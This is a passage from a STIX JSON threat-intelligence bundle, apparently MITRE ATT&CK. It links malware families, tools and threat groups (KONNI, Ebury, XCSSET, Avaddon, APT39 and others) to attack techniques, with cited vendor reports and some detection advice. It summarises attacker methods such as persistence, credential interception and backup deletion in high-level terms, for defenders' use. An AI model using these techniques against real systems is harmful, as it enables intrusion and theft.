2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b50193e-6a97-432a-8839-6bb18e88271f","type":"relationship","created":"2019-01-30T16:54:17.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2019-04-29T18:01:20.689Z","description":"(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5b530bcc-d137-4b4c-a22f-a3c15ec2f101","created":"2022-01-06T20:40:02.018Z","x_mitre_version":"1.0","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has pretended to be the xmlProv Network Provisioning service.(Citation: Malwarebytes Konni Aug 2021) ","modified":"2022-04-13T16:35:48.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b550a59-f036-4a4e-87f8-2125d2fe7c11","type":"relationship","created":"2022-02-18T13:42:42.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Roadtools","url":"https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/","description":"Dirk-jan Mollema. (2020, April 16). Introducing ROADtools - The Azure AD exploration framework. Retrieved January 31, 2022."}],"modified":"2022-04-01T13:27:48.510Z","description":"[ROADTools](https://attack.mitre.org/software/S0684) can enumerate Azure AD groups.(Citation: Roadtools)\t","relationship_type":"uses","source_ref":"tool--6dbdc657-d8e0-4f2f-909b-7251b3e72c6d","target_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b5a618e-3a67-4223-a158-af4ce7e0c7d9","type":"relationship","created":"2020-07-23T17:01:00.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Feb 2014","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019."}],"modified":"2020-07-23T17:01:00.356Z","description":"[Ebury](https://attack.mitre.org/software/S0377) can intercept private keys using a trojanized ssh-add function.(Citation: ESET Ebury Feb 2014)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b5b5650-916b-4519-8cbd-da90589fe7b6","type":"relationship","created":"2019-09-10T13:57:23.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.","url":"https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/","source_name":"Intego Shlayer Apr 2018"},{"source_name":"Malwarebytes Crossrider Apr 2018","url":"https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/","description":"Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019."}],"modified":"2019-09-12T15:09:10.706Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can install malicious Safari browser extensions to serve ads.(Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b5f2424-ff4e-43ab-a08f-fab2b284041d","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.139Z","description":"(Citation: FireEye Fin8 May 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b6293d5-f49c-4dbe-bef3-73bb346c3fe4","created":"2024-09-16T08:54:36.898Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:54:36.898Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can capture screenshots.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b62e906-a48a-4897-82cf-49a947782780","type":"relationship","created":"2021-06-18T22:11:34.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-06-18T22:11:34.430Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has been dropped onto systems and used for lateral movement via obfuscated PowerShell scripts.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b63f8fd-efc7-454f-b466-d5e0a525f64f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"url":"https://securelist.com/the-dropping-elephant-actor/75328/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.","source_name":"Securelist Dropping Elephant"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"}],"modified":"2020-03-19T19:58:58.090Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with an attachment to deliver files with exploits to initial victims.(Citation: Cymmetria Patchwork)(Citation: Securelist Dropping Elephant)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b642677-f57c-4eb7-9e9e-33e12de48cd1","type":"relationship","created":"2021-02-10T19:36:49.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."},{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-10T21:01:17.394Z","description":"(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)","relationship_type":"uses","source_ref":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","target_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b686a7c-4fcd-44c2-9f57-1d88d6633ef4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.147Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) registers itself under a Registry Run key with the name \"USB Disk Security.\"(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b68c97c-8eb7-45eb-b2d2-a91bf0fff2a0","created":"2024-04-03T21:00:51.393Z","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T21:00:51.393Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used a customized version of the Iox port-forwarding and proxy tool.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T16:55:40.070Z","description":"One version of [Helminth](https://attack.mitre.org/software/S0170) uses a PowerShell script.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b6f04b3-9178-45af-be77-bdde4cf47db1","created":"2022-09-16T21:26:50.096Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T21:26:50.096Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors deployed the MaoCheng dropper with a stolen Adobe Systems digital signature.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b6ff16b-9958-432c-bad9-5260d549117a","type":"relationship","created":"2021-10-07T21:28:23.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:34:13.129Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) will create an ssh key if necessary with the ssh-keygen -t rsa -f $HOME/.ssh/id_rsa -P command. [XCSSET](https://attack.mitre.org/software/S0658) will upload a private key file to the server to remotely access the host without a password.(Citation: trendmicro xcsset xcode project 2020) ","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b6ff1ab-eeca-43bc-8cd5-156bd8d3df8a","type":"relationship","created":"2021-03-31T14:01:52.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-31T14:01:52.511Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b727375-1e59-4469-8cca-b4468aff9860","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for changes made to processes that may inject malicious code into suspended and hollowed processes in order to evade process-based defenses.","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b83337c-5030-402d-ad28-1b9f5cf782cc","type":"relationship","created":"2019-01-29T21:33:34.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:17:49.847Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) searches for files with specific file extensions.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b872bb3-00f7-49c8-9bb1-9d157c305f51","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor for newly constructed network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b875be8-3849-46e2-80cb-dec502f78f52","created":"2020-05-22T18:00:52.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.782Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has communicated with C2 through files uploaded to and downloaded from DropBox.(Citation: BitDefender Chafer May 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b8a3669-1d3e-4855-acac-34c60a4a2e02","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b8c6d74-6fa5-455b-8400-92fdda5c299e","type":"relationship","created":"2019-09-16T19:42:21.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"},{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-09-09T15:53:09.924Z","description":"(Citation: Security Intelligence More Eggs Aug 2019)(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b8d22c5-f191-4dc3-a4ee-04c7d8b799da","type":"relationship","created":"2021-08-23T19:38:33.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Hornet Security Avaddon June 2020","url":"https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/","description":"Security Lab. (2020, June 5). Avaddon: From seeking affiliates to in-the-wild in 2 days. Retrieved August 19, 2021."},{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-18T21:41:22.701Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) deletes backups and shadow copies using native system tools.(Citation: Hornet Security Avaddon June 2020)(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b8e36dd-264d-45dc-ab38-500b5eb17c33","type":"relationship","created":"2020-06-04T20:14:50.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2020-06-25T03:46:58.347Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has the ability to use HTTP for C2 communications.(Citation: objective-see windtail2 jan 2019)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b8fab1d-c033-487b-a9c5-c699a0f11907","created":"2024-02-21T19:41:44.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T21:05:34.070Z","description":"(Citation: Arctic Wolf Akira 2023) ","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5b920225-ef1a-49f1-be65-1baa948d7139","created":"2024-04-18T14:14:59.504Z","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-18T14:14:59.504Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) targets organizations in a wide variety of sectors via the use of [Mispadu](https://attack.mitre.org/software/S1122) banking trojan with the goal of financial theft.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b928b39-ce48-47b8-82bc-d4ec63b1e3f4","type":"relationship","created":"2021-08-24T14:13:17.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote 